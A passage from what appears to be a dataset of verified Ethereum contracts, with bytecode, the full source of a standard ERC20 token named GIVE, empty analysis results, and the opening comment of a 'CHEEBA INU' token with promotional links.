0612d14565b005b341561114f57600080fd5b61119f600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612d2e565b005b34156111ac57600080fd5b6111b4612d48565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156111f45780820151818401526020810190506111d9565b50505050905090810190601f1680156112215780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561123a57600080fd5b61128a600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612df0565b005b341561129757600080fd5b6112e7600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612e0a565b005b34156112f457600080fd5b6112fc612e24565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561133c578082015181840152602081019050611321565b50505050905090810190601f1680156113695780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561138257600080fd5b61138a612ecc565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156113ca5780820151818401526020810190506113af565b50505050905090810190601f1680156113f75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561141057600080fd5b611418612f74565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561145857808201518184015260208101905061143d565b50505050905090810190601f1680156114855780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561149e57600080fd5b6114a661301c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156114e65780820151818401526020810190506114cb565b50505050905090810190601f1680156115135780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561152c57600080fd5b61157c600480803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506130c4565b005b341561158957600080fd5b6115916130de565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156115d15780820151818401526020810190506115b6565b50505050905090810190601f1680156115fe5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561161757600080fd5b611667600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050613186565b005b341561167457600080fd5b6116c4600480803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506131a0565b005b34156116d157600080fd5b6116d96131ba565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156117195780820151818401526020810190506116fe565b50505050905090810190601f1680156117465780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561175f57600080fd5b6117af600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050613262565b005b34156117bc57600080fd5b6117c461327c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156118045780820151818401526020810190506117e9565b50505050905090810190601f1680156118315780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561184a57600080fd5b61189a600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050613324565b005b34156118a757600080fd5b6118f7600480803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061333e565b005b341561190457600080fd5b61190c613358565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561194c578082015181840152602081019050611931565b50505050905090810190601f1680156119795780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561199257600080fd5b6119e2600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050613400565b005b34156119ef57600080fd5b6119f761341a565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015611a37578082015181840152602081019050611a1c565b50505050905090810190601f168015611a645780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415611a7d57600080fd5b611a856134c2565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015611ac5578082015181840152602081019050611aaa565b50505050905090810190601f168015611af25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415611b0b57600080fd5b611b1361356a565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015611b53578082015181840152602081019050611b38565b50505050905090810190601f168015611b805780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415611b9957600080fd5b611be9600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050613612565b005b3415611bf657600080fd5b611bfe61362c565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015611c3e578082015181840152602081019050611c23565b50505050905090810190601f168015611c6b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415611c8457600080fd5b611c8c6136d4565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015611ccc578082015181840152602081019050611cb1565b50505050905090810190601f168015611cf95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415611d1257600080fd5b611d1a61377c565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015611d5a578082015181840152602081019050611d3f565b50505050905090810190601f168015611d875780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415611da057600080fd5b611da8613824565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015611de8578082015181840152602081019050611dcd565b50505050905090810190601f168015611e155780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415611e2e57600080fd5b611e7e600480803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506138cc565b005b3415611e8b57600080fd5b611e936138e6565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015611ed3578082015181840152602081019050611eb8565b50505050905090810190601f168015611f005780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415611f1957600080fd5b611f2161398e565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015611f61578082015181840152602081019050611f46565b50505050905090810190601f168015611f8e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415611fa757600080fd5b611ff7600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050613a36565b005b341561200457600080fd5b612054600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050613a50565b005b341561206157600080fd5b6120b1600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050613a6a565b005b34156120be57600080fd5b6120c6613a84565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156121065780820151818401526020810190506120eb565b50505050905090810190601f1680156121335780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561214c57600080fd5b612154613b2c565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015612194578082015181840152602081019050612179565b50505050905090810190601f1680156121c15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156121da57600080fd5b6121e2613bd4565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015612222578082015181840152602081019050612207565b50505050905090810190601f16801561224f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b612265613c7c565b60198054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156122fb5780601f106122d0576101008083540402835291602001916122fb565b820191906000526020600020905b8154815290600101906020018083116122de57829003601f168201915b5050505050905090565b806003908051906020019061231b929190613c90565b5050565b612327613c7c565b600a8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156123bd5780601f10612392576101008083540402835291602001916123bd565b820191906000526020600020905b8154815290600101906020018083116123a057829003601f168201915b5050505050905090565b80601290805190602001906123dd929190613c90565b5050565b6123e9613c7c565b60218054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561247f5780601f106124545761010080835404028352916020019161247f565b820191906000526020600020905b81548152906001019060200180831161246257829003601f168201915b5050505050905090565b612491613c7c565b60208054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156125275780601f106124fc57610100808354040283529160200191612527565b820191906000526020600020905b81548152906001019060200180831161250a57829003601f168201915b5050505050905090565b612539613c7c565b60068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156125cf5780601f106125a4576101008083540402835291602001916125cf565b820191906000526020600020905b8154815290600101906020018083116125b257829003601f168201915b5050505050905090565b6125e1613c7c565b601a8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156126775780601f1061264c57610100808354040283529160200191612677565b820191906000526020600020905b81548152906001019060200180831161265a57829003601f168201915b5050505050905090565b80601f9080519060200190612697929190613c90565b5050565b80601390805190602001906126b1929190613c90565b5050565b6126bd613c7c565b60148054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156127535780601f1061272857610100808354040283529160200191612753565b820191906000526020600020905b81548152906001019060200180831161273657829003601f168201915b5050505050905090565b8060089080519060200190612773929190613c90565b5050565b61277f613c7c565b60088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156128155780601f106127ea57610100808354040283529160200191612815565b820191906000526020600020905b8154815290600101906020018083116127f857829003601f168201915b5050505050905090565b8060059080519060200190612835929190613c90565b5050565b612841613c7c565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156128d75780601f106128ac576101008083540402835291602001916128d7565b820191906000526020600020905b8154815290600101906020018083116128ba57829003601f168201915b5050505050905090565b6128e9613c7c565b60038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561297f5780601f106129545761010080835404028352916020019161297f565b820191906000526020600020905b81548152906001019060200180831161296257829003601f168201915b5050505050905090565b806010908051906020019061299f929190613c90565b5050565b80601990805190602001906129b9929190613c90565b5050565b80601890805190602001906129d3929190613c90565b5050565b80600190805190602001906129ed929190613c90565b5050565b80601d9080519060200190612a07929190613c90565b5050565b612a13613c7c565b600f8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612aa95780601f10612a7e57610100808354040283529160200191612aa9565b820191906000526020600020905b815481529060010190602001808311612a8c57829003601f168201915b5050505050905090565b8060119080519060200190612ac9929190613c90565b5050565b80600c9080519060200190612ae3929190613c90565b5050565b612aef613c7c565b60078054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612b855780601f10612b5a57610100808354040283529160200191612b85565b820191906000526020600020905b815481529060010190602001808311612b6857829003601f168201915b5050505050905090565b8060169080519060200190612ba5929190613c90565b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612c0457600080fd5b80601a9080519060200190612c1a929190613c90565b5050565b8060049080519060200190612c34929190613c90565b5050565b8060179080519060200190612c4e929190613c90565b5050565b80601b9080519060200190612c68929190613c90565b5050565b612c74613c7c565b601b8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612d0a5780601f10612cdf57610100808354040283529160200191612d0a565b820191906000526020600020905b815481529060010190602001808311612ced57829003601f168201915b5050505050905090565b8060069080519060200190612d2a929190613c90565b5050565b80601e9080519060200190612d44929190613c90565b5050565b612d50613c7c565b60138054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612de65780601f10612dbb57610100808354040283529160200191612de6565b820191906000526020600020905b815481529060010190602001808311612dc957829003601f168201915b5050505050905090565b8060029080519060200190612e06929190613c90565b5050565b8060099080519060200190612e20929190613c90565b5050565b612e2c613c7c565b600b8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612ec25780601f10612e9757610100808354040283529160200191612ec2565b820191906000526020600020905b815481529060010190602001808311612ea557829003601f168201915b5050505050905090565b612ed4613c7c565b600c8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612f6a5780601f10612f3f57610100808354040283529160200191612f6a565b820191906000526020600020905b815481529060010190602001808311612f4d57829003601f168201915b5050505050905090565b612f7c613c7c565b60178054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156130125780601f10612fe757610100808354040283529160200191613012565b820191906000526020600020905b815481529060010190602001808311612ff557829003601f168201915b5050505050905090565b613024613c7c565b60228054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156130ba5780601f1061308f576101008083540402835291602001916130ba565b820191906000526020600020905b81548152906001019060200180831161309d57829003601f168201915b5050505050905090565b80600e90805190602001906130da929190613c90565b5050565b6130e6613c7c565b601e8054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561317c5780601f106131515761010080835404028352916020019161317c565b820191906000526020600020905b81548152906001019060200180831161315f57829003601f168201915b5050505050905090565b80600f908051906020019061319c929190613c90565b5050565b80600d90805190602001906131b6929190613c90565b5050565b6131c2613c7c565b601c8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156132585780601f1061322d57610100808354040283529160200191613258565b820191906000526020600020905b81548152906001019060200180831161323b57829003601f168201915b5050505050905090565b80601c9080519060200190613278929190613c90565b5050565b613284613c7c565b600d8054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561331a5780601f106132ef5761010080835404028352916020019161331a565b820191906000526020600020905b8154815290600101906020018083116132fd57829003601f168201915b5050505050905090565b806021908051906020019061333a929190613c90565b5050565b8060209080519060200190613354929190613c90565b5050565b613360613c7c565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156133f65780601f106133cb576101008083540402835291602001916133f6565b820191906000526020600020905b8154815290600101906020018083116133d957829003601f168201915b5050505050905090565b8060159080519060200190613416929190613c90565b5050565b613422613c7c565b60108054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156134b85780601f1061348d576101008083540402835291602001916134b8565b820191906000526020600020905b81548152906001019060200180831161349b57829003601f168201915b5050505050905090565b6134ca613c7c565b60118054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156135605780601f1061353557610100808354040283529160200191613560565b820191906000526020600020905b81548152906001019060200180831161354357829003601f168201915b5050505050905090565b613572613c7c565b60128054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156136085780601f106135dd57610100808354040283529160200191613608565b820191906000526020600020905b8154815290600101906020018083116135eb57829003601f168201915b5050505050905090565b8060229080519060200190613628929190613c90565b5050565b613634613c7c565b600e8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156136ca5780601f1061369f576101008083540402835291602001916136ca565b820191906000526020600020905b8154815290600101906020018083116136ad57829003601f168201915b5050505050905090565b6136dc613c7c565b601d8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156137725780601f1061374757610100808354040283529160200191613772565b820191906000526020600020905b81548152906001019060200180831161375557829003601f168201915b5050505050905090565b613784613c7c565b60098054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561381a5780601f106137ef5761010080835404028352916020019161381a565b820191906000526020600020905b8154815290600101906020018083116137fd57829003601f168201915b5050505050905090565b61382c613c7c565b60168054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156138c25780601f10613897576101008083540402835291602001916138c2565b820191906000526020600020905b8154815290600101906020018083116138a557829003601f168201915b5050505050905090565b80600a90805190602001906138e2929190613c90565b5050565b6138ee613c7c565b60188054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156139845780601f1061395957610100808354040283529160200191613984565b820191906000526020600020905b81548152906001019060200180831161396757829003601f168201915b5050505050905090565b613996613c7c565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015613a2c5780601f10613a0157610100808354040283529160200191613a2c565b820191906000526020600020905b815481529060010190602001808311613a0f57829003601f168201915b5050505050905090565b80600b9080519060200190613a4c929190613c90565b5050565b8060079080519060200190613a66929190613c90565b5050565b8060149080519060200190613a80929190613c90565b5050565b613a8c613c7c565b60048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015613b225780601f10613af757610100808354040283529160200191613b22565b820191906000526020600020905b815481529060010190602001808311613b0557829003601f168201915b5050505050905090565b613b34613c7c565b601f8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015613bca5780601f10613b9f57610100808354040283529160200191613bca565b820191906000526020600020905b815481529060010190602001808311613bad57829003601f168201915b5050505050905090565b613bdc613c7c565b60158054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015613c725780601f10613c4757610100808354040283529160200191613c72565b820191906000526020600020905b815481529060010190602001808311613c5557829003601f168201915b5050505050905090565b602060405190810160405280600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10613cd157805160ff1916838001178555613cff565b82800160010185558215613cff579182015b82811115613cfe578251825591602001919060010190613ce3565b5b509050613d0c9190613d10565b5090565b613d3291905b80821115613d2e576000816000905550600101613d16565b5090565b905600a165627a7a72305820bc365144ec2706bea84d7a7c4fd9b7ba7935015791f15e2d1920d454d5efaf330029 | {"success": true, "error": null, "results": {}} | 850 |
0x1cbf37694de7f75cf10505e727420eeedb7ed6c3 | /**
*Submitted for verification at Etherscan.io on 2021-06-02
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.1;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
contract GIVE is ERC20 {
uint256 public constant supply = 888888888 ether;
constructor (string memory name, string memory symbol) ERC20(name, symbol) {
_mint(msg.sender, supply);
}
} | 0x608060405234801561001057600080fd5b50600436106100d45760003560e01c80633950935111610081578063a457c2d71161005b578063a457c2d71461029a578063a9059cbb146102d3578063dd62ed3e1461030c576100d4565b8063395093511461022657806370a082311461025f57806395d89b4114610292576100d4565b806318160ddd116100b257806318160ddd146101bd57806323b872dd146101c5578063313ce56714610208576100d4565b8063047fc9aa146100d957806306fdde03146100f3578063095ea7b314610170575b600080fd5b6100e1610347565b60408051918252519081900360200190f35b6100fb610357565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561013557818101518382015260200161011d565b50505050905090810190601f1680156101625780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101a96004803603604081101561018657600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813516906020013561040b565b604080519115158252519081900360200190f35b6100e1610428565b6101a9600480360360608110156101db57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020810135909116906040013561042e565b6102106104cf565b6040805160ff9092168252519081900360200190f35b6101a96004803603604081101561023c57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81351690602001356104d8565b6100e16004803603602081101561027557600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610533565b6100fb61055b565b6101a9600480360360408110156102b057600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81351690602001356105da565b6101a9600480360360408110156102e957600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813516906020013561064f565b6100e16004803603604081101561032257600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516610663565b6b02df458b2c635dcf55e0000081565b60038054604080516020601f60027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104015780601f106103d657610100808354040283529160200191610401565b820191906000526020600020905b8154815290600101906020018083116103e457829003601f168201915b5050505050905090565b600061041f610418610716565b848461071a565b50600192915050565b60025490565b600061043b848484610861565b6104c584610447610716565b6104c085604051806060016040528060288152602001610b536028913973ffffffffffffffffffffffffffffffffffffffff8a16600090815260016020526040812090610492610716565b73ffffffffffffffffffffffffffffffffffffffff1681526020810191909152604001600020549190610a31565b61071a565b5060019392505050565b60055460ff1690565b600061041f6104e5610716565b846104c085600160006104f6610716565b73ffffffffffffffffffffffffffffffffffffffff908116825260208083019390935260409182016000908120918c16815292529020549061069b565b73ffffffffffffffffffffffffffffffffffffffff1660009081526020819052604090205490565b60048054604080516020601f60027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104015780601f106103d657610100808354040283529160200191610401565b600061041f6105e7610716565b846104c085604051806060016040528060258152602001610bc46025913960016000610611610716565b73ffffffffffffffffffffffffffffffffffffffff908116825260208083019390935260409182016000908120918d16815292529020549190610a31565b600061041f61065c610716565b8484610861565b73ffffffffffffffffffffffffffffffffffffffff918216600090815260016020908152604080832093909416825291909152205490565b60008282018381101561070f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565b73ffffffffffffffffffffffffffffffffffffffff8316610786576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180610ba06024913960400191505060405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff82166107f2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180610b0b6022913960400191505060405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b73ffffffffffffffffffffffffffffffffffffffff83166108cd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180610b7b6025913960400191505060405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff8216610939576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180610ae86023913960400191505060405180910390fd5b610944838383610ae2565b61098e81604051806060016040528060268152602001610b2d6026913973ffffffffffffffffffffffffffffffffffffffff86166000908152602081905260409020549190610a31565b73ffffffffffffffffffffffffffffffffffffffff80851660009081526020819052604080822093909355908416815220546109ca908261069b565b73ffffffffffffffffffffffffffffffffffffffff8084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b60008184841115610ada576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610a9f578181015183820152602001610a87565b50505050905090810190601f168015610acc5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122070a555af766749f92fa57b454a9e20ecc62f94b6046837b01b0d38348f1c3d5064736f6c63430007040033 | {"success": true, "error": null, "results": {}} | 851 |
0x92ed7173fdd164767d5c80a4c38eed61391c831d | /*
CHEEBA INU ($CHEEB) is the upcoming Hot P2E Metaverse Game on the ETH Blockchain
Portal : https://t.me/cheebaportal
Website : http://cheebainutoken.com/
Twitter : https://twitter.com/Cheeba_Inu
*/
// SPDX-License-Identifier: UNLICENSED
